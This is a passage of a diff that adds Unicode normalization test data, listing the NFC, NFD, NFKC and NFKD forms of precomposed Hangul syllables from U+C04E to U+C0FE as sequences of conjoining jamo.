+{ source: [0xC04E], NFC: [0xC04E], NFD: [0x1108, 0x1172, 0x11B9], NFKC: [0xC04E], NFKD: [0x1108, 0x1172, 0x11B9] },
+{ source: [0xC04F], NFC: [0xC04F], NFD: [0x1108, 0x1172, 0x11BA], NFKC: [0xC04F], NFKD: [0x1108, 0x1172, 0x11BA] },
+{ source: [0xC050], NFC: [0xC050], NFD: [0x1108, 0x1172, 0x11BB], NFKC: [0xC050], NFKD: [0x1108, 0x1172, 0x11BB] },
+{ source: [0xC051], NFC: [0xC051], NFD: [0x1108, 0x1172, 0x11BC], NFKC: [0xC051], NFKD: [0x1108, 0x1172, 0x11BC] },
+{ source: [0xC052], NFC: [0xC052], NFD: [0x1108, 0x1172, 0x11BD], NFKC: [0xC052], NFKD: [0x1108, 0x1172, 0x11BD] },
+{ source: [0xC053], NFC: [0xC053], NFD: [0x1108, 0x1172, 0x11BE], NFKC: [0xC053], NFKD: [0x1108, 0x1172, 0x11BE] },
+{ source: [0xC054], NFC: [0xC054], NFD: [0x1108, 0x1172, 0x11BF], NFKC: [0xC054], NFKD: [0x1108, 0x1172, 0x11BF] },
+{ source: [0xC055], NFC: [0xC055], NFD: [0x1108, 0x1172, 0x11C0], NFKC: [0xC055], NFKD: [0x1108, 0x1172, 0x11C0] },
+{ source: [0xC056], NFC: [0xC056], NFD: [0x1108, 0x1172, 0x11C1], NFKC: [0xC056], NFKD: [0x1108, 0x1172, 0x11C1] },
+{ source: [0xC057], NFC: [0xC057], NFD: [0x1108, 0x1172, 0x11C2], NFKC: [0xC057], NFKD: [0x1108, 0x1172, 0x11C2] },
+{ source: [0xC058], NFC: [0xC058], NFD: [0x1108, 0x1173], NFKC: [0xC058], NFKD: [0x1108, 0x1173] },
+{ source: [0xC059], NFC: [0xC059], NFD: [0x1108, 0x1173, 0x11A8], NFKC: [0xC059], NFKD: [0x1108, 0x1173, 0x11A8] },
+{ source: [0xC05A], NFC: [0xC05A], NFD: [0x1108, 0x1173, 0x11A9], NFKC: [0xC05A], NFKD: [0x1108, 0x1173, 0x11A9] },
+{ source: [0xC05B], NFC: [0xC05B], NFD: [0x1108, 0x1173, 0x11AA], NFKC: [0xC05B], NFKD: [0x1108, 0x1173, 0x11AA] },
+{ source: [0xC05C], NFC: [0xC05C], NFD: [0x1108, 0x1173, 0x11AB], NFKC: [0xC05C], NFKD: [0x1108, 0x1173, 0x11AB] },
+{ source: [0xC05D], NFC: [0xC05D], NFD: [0x1108, 0x1173, 0x11AC], NFKC: [0xC05D], NFKD: [0x1108, 0x1173, 0x11AC] },
+{ source: [0xC05E], NFC: [0xC05E], NFD: [0x1108, 0x1173, 0x11AD], NFKC: [0xC05E], NFKD: [0x1108, 0x1173, 0x11AD] },
+{ source: [0xC05F], NFC: [0xC05F], NFD: [0x1108, 0x1173, 0x11AE], NFKC: [0xC05F], NFKD: [0x1108, 0x1173, 0x11AE] },
+{ source: [0xC060], NFC: [0xC060], NFD: [0x1108, 0x1173, 0x11AF], NFKC: [0xC060], NFKD: [0x1108, 0x1173, 0x11AF] },
+{ source: [0xC061], NFC: [0xC061], NFD: [0x1108, 0x1173, 0x11B0], NFKC: [0xC061], NFKD: [0x1108, 0x1173, 0x11B0] },
+{ source: [0xC062], NFC: [0xC062], NFD: [0x1108, 0x1173, 0x11B1], NFKC: [0xC062], NFKD: [0x1108, 0x1173, 0x11B1] },
+{ source: [0xC063], NFC: [0xC063], NFD: [0x1108, 0x1173, 0x11B2], NFKC: [0xC063], NFKD: [0x1108, 0x1173, 0x11B2] },
+{ source: [0xC064], NFC: [0xC064], NFD: [0x1108, 0x1173, 0x11B3], NFKC: [0xC064], NFKD: [0x1108, 0x1173, 0x11B3] },
+{ source: [0xC065], NFC: [0xC065], NFD: [0x1108, 0x1173, 0x11B4], NFKC: [0xC065], NFKD: [0x1108, 0x1173, 0x11B4] },
+{ source: [0xC066], NFC: [0xC066], NFD: [0x1108, 0x1173, 0x11B5], NFKC: [0xC066], NFKD: [0x1108, 0x1173, 0x11B5] },
+{ source: [0xC067], NFC: [0xC067], NFD: [0x1108, 0x1173, 0x11B6], NFKC: [0xC067], NFKD: [0x1108, 0x1173, 0x11B6] },
+{ source: [0xC068], NFC: [0xC068], NFD: [0x1108, 0x1173, 0x11B7], NFKC: [0xC068], NFKD: [0x1108, 0x1173, 0x11B7] },
+{ source: [0xC069], NFC: [0xC069], NFD: [0x1108, 0x1173, 0x11B8], NFKC: [0xC069], NFKD: [0x1108, 0x1173, 0x11B8] },
+{ source: [0xC06A], NFC: [0xC06A], NFD: [0x1108, 0x1173, 0x11B9], NFKC: [0xC06A], NFKD: [0x1108, 0x1173, 0x11B9] },
+{ source: [0xC06B], NFC: [0xC06B], NFD: [0x1108, 0x1173, 0x11BA], NFKC: [0xC06B], NFKD: [0x1108, 0x1173, 0x11BA] },
+{ source: [0xC06C], NFC: [0xC06C], NFD: [0x1108, 0x1173, 0x11BB], NFKC: [0xC06C], NFKD: [0x1108, 0x1173, 0x11BB] },
+{ source: [0xC06D], NFC: [0xC06D], NFD: [0x1108, 0x1173, 0x11BC], NFKC: [0xC06D], NFKD: [0x1108, 0x1173, 0x11BC] },
+{ source: [0xC06E], NFC: [0xC06E], NFD: [0x1108, 0x1173, 0x11BD], NFKC: [0xC06E], NFKD: [0x1108, 0x1173, 0x11BD] },
+{ source: [0xC06F], NFC: [0xC06F], NFD: [0x1108, 0x1173, 0x11BE], NFKC: [0xC06F], NFKD: [0x1108, 0x1173, 0x11BE] },
+{ source: [0xC070], NFC: [0xC070], NFD: [0x1108, 0x1173, 0x11BF], NFKC: [0xC070], NFKD: [0x1108, 0x1173, 0x11BF] },
+{ source: [0xC071], NFC: [0xC071], NFD: [0x1108, 0x1173, 0x11C0], NFKC: [0xC071], NFKD: [0x1108, 0x1173, 0x11C0] },
+{ source: [0xC072], NFC: [0xC072], NFD: [0x1108, 0x1173, 0x11C1], NFKC: [0xC072], NFKD: [0x1108, 0x1173, 0x11C1] },
+{ source: [0xC073], NFC: [0xC073], NFD: [0x1108, 0x1173, 0x11C2], NFKC: [0xC073], NFKD: [0x1108, 0x1173, 0x11C2] },
+{ source: [0xC074], NFC: [0xC074], NFD: [0x1108, 0x1174], NFKC: [0xC074], NFKD: [0x1108, 0x1174] },
+{ source: [0xC075], NFC: [0xC075], NFD: [0x1108, 0x1174, 0x11A8], NFKC: [0xC075], NFKD: [0x1108, 0x1174, 0x11A8] },
+{ source: [0xC076], NFC: [0xC076], NFD: [0x1108, 0x1174, 0x11A9], NFKC: [0xC076], NFKD: [0x1108, 0x1174, 0x11A9] },
+{ source: [0xC077], NFC: [0xC077], NFD: [0x1108, 0x1174, 0x11AA], NFKC: [0xC077], NFKD: [0x1108, 0x1174, 0x11AA] },
+{ source: [0xC078], NFC: [0xC078], NFD: [0x1108, 0x1174, 0x11AB], NFKC: [0xC078], NFKD: [0x1108, 0x1174, 0x11AB] },
+{ source: [0xC079], NFC: [0xC079], NFD: [0x1108, 0x1174, 0x11AC], NFKC: [0xC079], NFKD: [0x1108, 0x1174, 0x11AC] },
+{ source: [0xC07A], NFC: [0xC07A], NFD: [0x1108, 0x1174, 0x11AD], NFKC: [0xC07A], NFKD: [0x1108, 0x1174, 0x11AD] },
+{ source: [0xC07B], NFC: [0xC07B], NFD: [0x1108, 0x1174, 0x11AE], NFKC: [0xC07B], NFKD: [0x1108, 0x1174, 0x11AE] },
+{ source: [0xC07C], NFC: [0xC07C], NFD: [0x1108, 0x1174, 0x11AF], NFKC: [0xC07C], NFKD: [0x1108, 0x1174, 0x11AF] },
+{ source: [0xC07D], NFC: [0xC07D], NFD: [0x1108, 0x1174, 0x11B0], NFKC: [0xC07D], NFKD: [0x1108, 0x1174, 0x11B0] },
+{ source: [0xC07E], NFC: [0xC07E], NFD: [0x1108, 0x1174, 0x11B1], NFKC: [0xC07E], NFKD: [0x1108, 0x1174, 0x11B1] },
+{ source: [0xC07F], NFC: [0xC07F], NFD: [0x1108, 0x1174, 0x11B2], NFKC: [0xC07F], NFKD: [0x1108, 0x1174, 0x11B2] },
+{ source: [0xC080], NFC: [0xC080], NFD: [0x1108, 0x1174, 0x11B3], NFKC: [0xC080], NFKD: [0x1108, 0x1174, 0x11B3] },
+{ source: [0xC081], NFC: [0xC081], NFD: [0x1108, 0x1174, 0x11B4], NFKC: [0xC081], NFKD: [0x1108, 0x1174, 0x11B4] },
+{ source: [0xC082], NFC: [0xC082], NFD: [0x1108, 0x1174, 0x11B5], NFKC: [0xC082], NFKD: [0x1108, 0x1174, 0x11B5] },
+{ source: [0xC083], NFC: [0xC083], NFD: [0x1108, 0x1174, 0x11B6], NFKC: [0xC083], NFKD: [0x1108, 0x1174, 0x11B6] },
+{ source: [0xC084], NFC: [0xC084], NFD: [0x1108, 0x1174, 0x11B7], NFKC: [0xC084], NFKD: [0x1108, 0x1174, 0x11B7] },
+{ source: [0xC085], NFC: [0xC085], NFD: [0x1108, 0x1174, 0x11B8], NFKC: [0xC085], NFKD: [0x1108, 0x1174, 0x11B8] },
+{ source: [0xC086], NFC: [0xC086], NFD: [0x1108, 0x1174, 0x11B9], NFKC: [0xC086], NFKD: [0x1108, 0x1174, 0x11B9] },
+{ source: [0xC087], NFC: [0xC087], NFD: [0x1108, 0x1174, 0x11BA], NFKC: [0xC087], NFKD: [0x1108, 0x1174, 0x11BA] },
+{ source: [0xC088], NFC: [0xC088], NFD: [0x1108, 0x1174, 0x11BB], NFKC: [0xC088], NFKD: [0x1108, 0x1174, 0x11BB] },
+{ source: [0xC089], NFC: [0xC089], NFD: [0x1108, 0x1174, 0x11BC], NFKC: [0xC089], NFKD: [0x1108, 0x1174, 0x11BC] },
+{ source: [0xC08A], NFC: [0xC08A], NFD: [0x1108, 0x1174, 0x11BD], NFKC: [0xC08A], NFKD: [0x1108, 0x1174, 0x11BD] },
+{ source: [0xC08B], NFC: [0xC08B], NFD: [0x1108, 0x1174, 0x11BE], NFKC: [0xC08B], NFKD: [0x1108, 0x1174, 0x11BE] },
+{ source: [0xC08C], NFC: [0xC08C], NFD: [0x1108, 0x1174, 0x11BF], NFKC: [0xC08C], NFKD: [0x1108, 0x1174, 0x11BF] },
+{ source: [0xC08D], NFC: [0xC08D], NFD: [0x1108, 0x1174, 0x11C0], NFKC: [0xC08D], NFKD: [0x1108, 0x1174, 0x11C0] },
+{ source: [0xC08E], NFC: [0xC08E], NFD: [0x1108, 0x1174, 0x11C1], NFKC: [0xC08E], NFKD: [0x1108, 0x1174, 0x11C1] },
+{ source: [0xC08F], NFC: [0xC08F], NFD: [0x1108, 0x1174, 0x11C2], NFKC: [0xC08F], NFKD: [0x1108, 0x1174, 0x11C2] },
+{ source: [0xC090], NFC: [0xC090], NFD: [0x1108, 0x1175], NFKC: [0xC090], NFKD: [0x1108, 0x1175] },
+{ source: [0xC091], NFC: [0xC091], NFD: [0x1108, 0x1175, 0x11A8], NFKC: [0xC091], NFKD: [0x1108, 0x1175, 0x11A8] },
+{ source: [0xC092], NFC: [0xC092], NFD: [0x1108, 0x1175, 0x11A9], NFKC: [0xC092], NFKD: [0x1108, 0x1175, 0x11A9] },
+{ source: [0xC093], NFC: [0xC093], NFD: [0x1108, 0x1175, 0x11AA], NFKC: [0xC093], NFKD: [0x1108, 0x1175, 0x11AA] },
+{ source: [0xC094], NFC: [0xC094], NFD: [0x1108, 0x1175, 0x11AB], NFKC: [0xC094], NFKD: [0x1108, 0x1175, 0x11AB] },
+{ source: [0xC095], NFC: [0xC095], NFD: [0x1108, 0x1175, 0x11AC], NFKC: [0xC095], NFKD: [0x1108, 0x1175, 0x11AC] },
+{ source: [0xC096], NFC: [0xC096], NFD: [0x1108, 0x1175, 0x11AD], NFKC: [0xC096], NFKD: [0x1108, 0x1175, 0x11AD] },
+{ source: [0xC097], NFC: [0xC097], NFD: [0x1108, 0x1175, 0x11AE], NFKC: [0xC097], NFKD: [0x1108, 0x1175, 0x11AE] },
+{ source: [0xC098], NFC: [0xC098], NFD: [0x1108, 0x1175, 0x11AF], NFKC: [0xC098], NFKD: [0x1108, 0x1175, 0x11AF] },
+{ source: [0xC099], NFC: [0xC099], NFD: [0x1108, 0x1175, 0x11B0], NFKC: [0xC099], NFKD: [0x1108, 0x1175, 0x11B0] },
+{ source: [0xC09A], NFC: [0xC09A], NFD: [0x1108, 0x1175, 0x11B1], NFKC: [0xC09A], NFKD: [0x1108, 0x1175, 0x11B1] },
+{ source: [0xC09B], NFC: [0xC09B], NFD: [0x1108, 0x1175, 0x11B2], NFKC: [0xC09B], NFKD: [0x1108, 0x1175, 0x11B2] },
+{ source: [0xC09C], NFC: [0xC09C], NFD: [0x1108, 0x1175, 0x11B3], NFKC: [0xC09C], NFKD: [0x1108, 0x1175, 0x11B3] },
+{ source: [0xC09D], NFC: [0xC09D], NFD: [0x1108, 0x1175, 0x11B4], NFKC: [0xC09D], NFKD: [0x1108, 0x1175, 0x11B4] },
+{ source: [0xC09E], NFC: [0xC09E], NFD: [0x1108, 0x1175, 0x11B5], NFKC: [0xC09E], NFKD: [0x1108, 0x1175, 0x11B5] },
+{ source: [0xC09F], NFC: [0xC09F], NFD: [0x1108, 0x1175, 0x11B6], NFKC: [0xC09F], NFKD: [0x1108, 0x1175, 0x11B6] },
+{ source: [0xC0A0], NFC: [0xC0A0], NFD: [0x1108, 0x1175, 0x11B7], NFKC: [0xC0A0], NFKD: [0x1108, 0x1175, 0x11B7] },
+{ source: [0xC0A1], NFC: [0xC0A1], NFD: [0x1108, 0x1175, 0x11B8], NFKC: [0xC0A1], NFKD: [0x1108, 0x1175, 0x11B8] },
+{ source: [0xC0A2], NFC: [0xC0A2], NFD: [0x1108, 0x1175, 0x11B9], NFKC: [0xC0A2], NFKD: [0x1108, 0x1175, 0x11B9] },
+{ source: [0xC0A3], NFC: [0xC0A3], NFD: [0x1108, 0x1175, 0x11BA], NFKC: [0xC0A3], NFKD: [0x1108, 0x1175, 0x11BA] },
+{ source: [0xC0A4], NFC: [0xC0A4], NFD: [0x1108, 0x1175, 0x11BB], NFKC: [0xC0A4], NFKD: [0x1108, 0x1175, 0x11BB] },
+{ source: [0xC0A5], NFC: [0xC0A5], NFD: [0x1108, 0x1175, 0x11BC], NFKC: [0xC0A5], NFKD: [0x1108, 0x1175, 0x11BC] },
+{ source: [0xC0A6], NFC: [0xC0A6], NFD: [0x1108, 0x1175, 0x11BD], NFKC: [0xC0A6], NFKD: [0x1108, 0x1175, 0x11BD] },
+{ source: [0xC0A7], NFC: [0xC0A7], NFD: [0x1108, 0x1175, 0x11BE], NFKC: [0xC0A7], NFKD: [0x1108, 0x1175, 0x11BE] },
+{ source: [0xC0A8], NFC: [0xC0A8], NFD: [0x1108, 0x1175, 0x11BF], NFKC: [0xC0A8], NFKD: [0x1108, 0x1175, 0x11BF] },
+{ source: [0xC0A9], NFC: [0xC0A9], NFD: [0x1108, 0x1175, 0x11C0], NFKC: [0xC0A9], NFKD: [0x1108, 0x1175, 0x11C0] },
+{ source: [0xC0AA], NFC: [0xC0AA], NFD: [0x1108, 0x1175, 0x11C1], NFKC: [0xC0AA], NFKD: [0x1108, 0x1175, 0x11C1] },
+{ source: [0xC0AB], NFC: [0xC0AB], NFD: [0x1108, 0x1175, 0x11C2], NFKC: [0xC0AB], NFKD: [0x1108, 0x1175, 0x11C2] },
+{ source: [0xC0AC], NFC: [0xC0AC], NFD: [0x1109, 0x1161], NFKC: [0xC0AC], NFKD: [0x1109, 0x1161] },
+{ source: [0xC0AD], NFC: [0xC0AD], NFD: [0x1109, 0x1161, 0x11A8], NFKC: [0xC0AD], NFKD: [0x1109, 0x1161, 0x11A8] },
+{ source: [0xC0AE], NFC: [0xC0AE], NFD: [0x1109, 0x1161, 0x11A9], NFKC: [0xC0AE], NFKD: [0x1109, 0x1161, 0x11A9] },
+{ source: [0xC0AF], NFC: [0xC0AF], NFD: [0x1109, 0x1161, 0x11AA], NFKC: [0xC0AF], NFKD: [0x1109, 0x1161, 0x11AA] },
+{ source: [0xC0B0], NFC: [0xC0B0], NFD: [0x1109, 0x1161, 0x11AB], NFKC: [0xC0B0], NFKD: [0x1109, 0x1161, 0x11AB] },
+{ source: [0xC0B1], NFC: [0xC0B1], NFD: [0x1109, 0x1161, 0x11AC], NFKC: [0xC0B1], NFKD: [0x1109, 0x1161, 0x11AC] },
+{ source: [0xC0B2], NFC: [0xC0B2], NFD: [0x1109, 0x1161, 0x11AD], NFKC: [0xC0B2], NFKD: [0x1109, 0x1161, 0x11AD] },
+{ source: [0xC0B3], NFC: [0xC0B3], NFD: [0x1109, 0x1161, 0x11AE], NFKC: [0xC0B3], NFKD: [0x1109, 0x1161, 0x11AE] },
+{ source: [0xC0B4], NFC: [0xC0B4], NFD: [0x1109, 0x1161, 0x11AF], NFKC: [0xC0B4], NFKD: [0x1109, 0x1161, 0x11AF] },
+{ source: [0xC0B5], NFC: [0xC0B5], NFD: [0x1109, 0x1161, 0x11B0], NFKC: [0xC0B5], NFKD: [0x1109, 0x1161, 0x11B0] },
+{ source: [0xC0B6], NFC: [0xC0B6], NFD: [0x1109, 0x1161, 0x11B1], NFKC: [0xC0B6], NFKD: [0x1109, 0x1161, 0x11B1] },
+{ source: [0xC0B7], NFC: [0xC0B7], NFD: [0x1109, 0x1161, 0x11B2], NFKC: [0xC0B7], NFKD: [0x1109, 0x1161, 0x11B2] },
+{ source: [0xC0B8], NFC: [0xC0B8], NFD: [0x1109, 0x1161, 0x11B3], NFKC: [0xC0B8], NFKD: [0x1109, 0x1161, 0x11B3] },
+{ source: [0xC0B9], NFC: [0xC0B9], NFD: [0x1109, 0x1161, 0x11B4], NFKC: [0xC0B9], NFKD: [0x1109, 0x1161, 0x11B4] },
+{ source: [0xC0BA], NFC: [0xC0BA], NFD: [0x1109, 0x1161, 0x11B5], NFKC: [0xC0BA], NFKD: [0x1109, 0x1161, 0x11B5] },
+{ source: [0xC0BB], NFC: [0xC0BB], NFD: [0x1109, 0x1161, 0x11B6], NFKC: [0xC0BB], NFKD: [0x1109, 0x1161, 0x11B6] },
+{ source: [0xC0BC], NFC: [0xC0BC], NFD: [0x1109, 0x1161, 0x11B7], NFKC: [0xC0BC], NFKD: [0x1109, 0x1161, 0x11B7] },
+{ source: [0xC0BD], NFC: [0xC0BD], NFD: [0x1109, 0x1161, 0x11B8], NFKC: [0xC0BD], NFKD: [0x1109, 0x1161, 0x11B8] },
+{ source: [0xC0BE], NFC: [0xC0BE], NFD: [0x1109, 0x1161, 0x11B9], NFKC: [0xC0BE], NFKD: [0x1109, 0x1161, 0x11B9] },
+{ source: [0xC0BF], NFC: [0xC0BF], NFD: [0x1109, 0x1161, 0x11BA], NFKC: [0xC0BF], NFKD: [0x1109, 0x1161, 0x11BA] },
+{ source: [0xC0C0], NFC: [0xC0C0], NFD: [0x1109, 0x1161, 0x11BB], NFKC: [0xC0C0], NFKD: [0x1109, 0x1161, 0x11BB] },
+{ source: [0xC0C1], NFC: [0xC0C1], NFD: [0x1109, 0x1161, 0x11BC], NFKC: [0xC0C1], NFKD: [0x1109, 0x1161, 0x11BC] },
+{ source: [0xC0C2], NFC: [0xC0C2], NFD: [0x1109, 0x1161, 0x11BD], NFKC: [0xC0C2], NFKD: [0x1109, 0x1161, 0x11BD] },
+{ source: [0xC0C3], NFC: [0xC0C3], NFD: [0x1109, 0x1161, 0x11BE], NFKC: [0xC0C3], NFKD: [0x1109, 0x1161, 0x11BE] },
+{ source: [0xC0C4], NFC: [0xC0C4], NFD: [0x1109, 0x1161, 0x11BF], NFKC: [0xC0C4], NFKD: [0x1109, 0x1161, 0x11BF] },
+{ source: [0xC0C5], NFC: [0xC0C5], NFD: [0x1109, 0x1161, 0x11C0], NFKC: [0xC0C5], NFKD: [0x1109, 0x1161, 0x11C0] },
+{ source: [0xC0C6], NFC: [0xC0C6], NFD: [0x1109, 0x1161, 0x11C1], NFKC: [0xC0C6], NFKD: [0x1109, 0x1161, 0x11C1] },
+{ source: [0xC0C7], NFC: [0xC0C7], NFD: [0x1109, 0x1161, 0x11C2], NFKC: [0xC0C7], NFKD: [0x1109, 0x1161, 0x11C2] },
+{ source: [0xC0C8], NFC: [0xC0C8], NFD: [0x1109, 0x1162], NFKC: [0xC0C8], NFKD: [0x1109, 0x1162] },
+{ source: [0xC0C9], NFC: [0xC0C9], NFD: [0x1109, 0x1162, 0x11A8], NFKC: [0xC0C9], NFKD: [0x1109, 0x1162, 0x11A8] },
+{ source: [0xC0CA], NFC: [0xC0CA], NFD: [0x1109, 0x1162, 0x11A9], NFKC: [0xC0CA], NFKD: [0x1109, 0x1162, 0x11A9] },
+{ source: [0xC0CB], NFC: [0xC0CB], NFD: [0x1109, 0x1162, 0x11AA], NFKC: [0xC0CB], NFKD: [0x1109, 0x1162, 0x11AA] },
+{ source: [0xC0CC], NFC: [0xC0CC], NFD: [0x1109, 0x1162, 0x11AB], NFKC: [0xC0CC], NFKD: [0x1109, 0x1162, 0x11AB] },
+{ source: [0xC0CD], NFC: [0xC0CD], NFD: [0x1109, 0x1162, 0x11AC], NFKC: [0xC0CD], NFKD: [0x1109, 0x1162, 0x11AC] },
+{ source: [0xC0CE], NFC: [0xC0CE], NFD: [0x1109, 0x1162, 0x11AD], NFKC: [0xC0CE], NFKD: [0x1109, 0x1162, 0x11AD] },
+{ source: [0xC0CF], NFC: [0xC0CF], NFD: [0x1109, 0x1162, 0x11AE], NFKC: [0xC0CF], NFKD: [0x1109, 0x1162, 0x11AE] },
+{ source: [0xC0D0], NFC: [0xC0D0], NFD: [0x1109, 0x1162, 0x11AF], NFKC: [0xC0D0], NFKD: [0x1109, 0x1162, 0x11AF] },
+{ source: [0xC0D1], NFC: [0xC0D1], NFD: [0x1109, 0x1162, 0x11B0], NFKC: [0xC0D1], NFKD: [0x1109, 0x1162, 0x11B0] },
+{ source: [0xC0D2], NFC: [0xC0D2], NFD: [0x1109, 0x1162, 0x11B1], NFKC: [0xC0D2], NFKD: [0x1109, 0x1162, 0x11B1] },
+{ source: [0xC0D3], NFC: [0xC0D3], NFD: [0x1109, 0x1162, 0x11B2], NFKC: [0xC0D3], NFKD: [0x1109, 0x1162, 0x11B2] },
+{ source: [0xC0D4], NFC: [0xC0D4], NFD: [0x1109, 0x1162, 0x11B3], NFKC: [0xC0D4], NFKD: [0x1109, 0x1162, 0x11B3] },
+{ source: [0xC0D5], NFC: [0xC0D5], NFD: [0x1109, 0x1162, 0x11B4], NFKC: [0xC0D5], NFKD: [0x1109, 0x1162, 0x11B4] },
+{ source: [0xC0D6], NFC: [0xC0D6], NFD: [0x1109, 0x1162, 0x11B5], NFKC: [0xC0D6], NFKD: [0x1109, 0x1162, 0x11B5] },
+{ source: [0xC0D7], NFC: [0xC0D7], NFD: [0x1109, 0x1162, 0x11B6], NFKC: [0xC0D7], NFKD: [0x1109, 0x1162, 0x11B6] },
+{ source: [0xC0D8], NFC: [0xC0D8], NFD: [0x1109, 0x1162, 0x11B7], NFKC: [0xC0D8], NFKD: [0x1109, 0x1162, 0x11B7] },
+{ source: [0xC0D9], NFC: [0xC0D9], NFD: [0x1109, 0x1162, 0x11B8], NFKC: [0xC0D9], NFKD: [0x1109, 0x1162, 0x11B8] },
+{ source: [0xC0DA], NFC: [0xC0DA], NFD: [0x1109, 0x1162, 0x11B9], NFKC: [0xC0DA], NFKD: [0x1109, 0x1162, 0x11B9] },
+{ source: [0xC0DB], NFC: [0xC0DB], NFD: [0x1109, 0x1162, 0x11BA], NFKC: [0xC0DB], NFKD: [0x1109, 0x1162, 0x11BA] },
+{ source: [0xC0DC], NFC: [0xC0DC], NFD: [0x1109, 0x1162, 0x11BB], NFKC: [0xC0DC], NFKD: [0x1109, 0x1162, 0x11BB] },
+{ source: [0xC0DD], NFC: [0xC0DD], NFD: [0x1109, 0x1162, 0x11BC], NFKC: [0xC0DD], NFKD: [0x1109, 0x1162, 0x11BC] },
+{ source: [0xC0DE], NFC: [0xC0DE], NFD: [0x1109, 0x1162, 0x11BD], NFKC: [0xC0DE], NFKD: [0x1109, 0x1162, 0x11BD] },
+{ source: [0xC0DF], NFC: [0xC0DF], NFD: [0x1109, 0x1162, 0x11BE], NFKC: [0xC0DF], NFKD: [0x1109, 0x1162, 0x11BE] },
+{ source: [0xC0E0], NFC: [0xC0E0], NFD: [0x1109, 0x1162, 0x11BF], NFKC: [0xC0E0], NFKD: [0x1109, 0x1162, 0x11BF] },
+{ source: [0xC0E1], NFC: [0xC0E1], NFD: [0x1109, 0x1162, 0x11C0], NFKC: [0xC0E1], NFKD: [0x1109, 0x1162, 0x11C0] },
+{ source: [0xC0E2], NFC: [0xC0E2], NFD: [0x1109, 0x1162, 0x11C1], NFKC: [0xC0E2], NFKD: [0x1109, 0x1162, 0x11C1] },
+{ source: [0xC0E3], NFC: [0xC0E3], NFD: [0x1109, 0x1162, 0x11C2], NFKC: [0xC0E3], NFKD: [0x1109, 0x1162, 0x11C2] },
+{ source: [0xC0E4], NFC: [0xC0E4], NFD: [0x1109, 0x1163], NFKC: [0xC0E4], NFKD: [0x1109, 0x1163] },
+{ source: [0xC0E5], NFC: [0xC0E5], NFD: [0x1109, 0x1163, 0x11A8], NFKC: [0xC0E5], NFKD: [0x1109, 0x1163, 0x11A8] },
+{ source: [0xC0E6], NFC: [0xC0E6], NFD: [0x1109, 0x1163, 0x11A9], NFKC: [0xC0E6], NFKD: [0x1109, 0x1163, 0x11A9] },
+{ source: [0xC0E7], NFC: [0xC0E7], NFD: [0x1109, 0x1163, 0x11AA], NFKC: [0xC0E7], NFKD: [0x1109, 0x1163, 0x11AA] },
+{ source: [0xC0E8], NFC: [0xC0E8], NFD: [0x1109, 0x1163, 0x11AB], NFKC: [0xC0E8], NFKD: [0x1109, 0x1163, 0x11AB] },
+{ source: [0xC0E9], NFC: [0xC0E9], NFD: [0x1109, 0x1163, 0x11AC], NFKC: [0xC0E9], NFKD: [0x1109, 0x1163, 0x11AC] },
+{ source: [0xC0EA], NFC: [0xC0EA], NFD: [0x1109, 0x1163, 0x11AD], NFKC: [0xC0EA], NFKD: [0x1109, 0x1163, 0x11AD] },
+{ source: [0xC0EB], NFC: [0xC0EB], NFD: [0x1109, 0x1163, 0x11AE], NFKC: [0xC0EB], NFKD: [0x1109, 0x1163, 0x11AE] },
+{ source: [0xC0EC], NFC: [0xC0EC], NFD: [0x1109, 0x1163, 0x11AF], NFKC: [0xC0EC], NFKD: [0x1109, 0x1163, 0x11AF] },
+{ source: [0xC0ED], NFC: [0xC0ED], NFD: [0x1109, 0x1163, 0x11B0], NFKC: [0xC0ED], NFKD: [0x1109, 0x1163, 0x11B0] },
+{ source: [0xC0EE], NFC: [0xC0EE], NFD: [0x1109, 0x1163, 0x11B1], NFKC: [0xC0EE], NFKD: [0x1109, 0x1163, 0x11B1] },
+{ source: [0xC0EF], NFC: [0xC0EF], NFD: [0x1109, 0x1163, 0x11B2], NFKC: [0xC0EF], NFKD: [0x1109, 0x1163, 0x11B2] },
+{ source: [0xC0F0], NFC: [0xC0F0], NFD: [0x1109, 0x1163, 0x11B3], NFKC: [0xC0F0], NFKD: [0x1109, 0x1163, 0x11B3] },
+{ source: [0xC0F1], NFC: [0xC0F1], NFD: [0x1109, 0x1163, 0x11B4], NFKC: [0xC0F1], NFKD: [0x1109, 0x1163, 0x11B4] },
+{ source: [0xC0F2], NFC: [0xC0F2], NFD: [0x1109, 0x1163, 0x11B5], NFKC: [0xC0F2], NFKD: [0x1109, 0x1163, 0x11B5] },
+{ source: [0xC0F3], NFC: [0xC0F3], NFD: [0x1109, 0x1163, 0x11B6], NFKC: [0xC0F3], NFKD: [0x1109, 0x1163, 0x11B6] },
+{ source: [0xC0F4], NFC: [0xC0F4], NFD: [0x1109, 0x1163, 0x11B7], NFKC: [0xC0F4], NFKD: [0x1109, 0x1163, 0x11B7] },
+{ source: [0xC0F5], NFC: [0xC0F5], NFD: [0x1109, 0x1163, 0x11B8], NFKC: [0xC0F5], NFKD: [0x1109, 0x1163, 0x11B8] },
+{ source: [0xC0F6], NFC: [0xC0F6], NFD: [0x1109, 0x1163, 0x11B9], NFKC: [0xC0F6], NFKD: [0x1109, 0x1163, 0x11B9] },
+{ source: [0xC0F7], NFC: [0xC0F7], NFD: [0x1109, 0x1163, 0x11BA], NFKC: [0xC0F7], NFKD: [0x1109, 0x1163, 0x11BA] },
+{ source: [0xC0F8], NFC: [0xC0F8], NFD: [0x1109, 0x1163, 0x11BB], NFKC: [0xC0F8], NFKD: [0x1109, 0x1163, 0x11BB] },
+{ source: [0xC0F9], NFC: [0xC0F9], NFD: [0x1109, 0x1163, 0x11BC], NFKC: [0xC0F9], NFKD: [0x1109, 0x1163, 0x11BC] },
+{ source: [0xC0FA], NFC: [0xC0FA], NFD: [0x1109, 0x1163, 0x11BD], NFKC: [0xC0FA], NFKD: [0x1109, 0x1163, 0x11BD] },
+{ source: [0xC0FB], NFC: [0xC0FB], NFD: [0x1109, 0x1163, 0x11BE], NFKC: [0xC0FB], NFKD: [0x1109, 0x1163, 0x11BE] },
+{ source: [0xC0FC], NFC: [0xC0FC], NFD: [0x1109, 0x1163, 0x11BF], NFKC: [0xC0FC], NFKD: [0x1109, 0x1163, 0x11BF] },
+{ source: [0xC0FD], NFC: [0xC0FD], NFD: [0x1109, 0x1163, 0x11C0], NFKC: [0xC0FD], NFKD: [0x1109, 0x1163, 0x11C0] },
+{ source: [0xC0FE], NFC: [0xC0FE], NFD: [0x1109, 0x1163, 0x11C1], NFKC: [0xC0FE], NFKD: [0x1109, 0x1163, 0x11C1] },
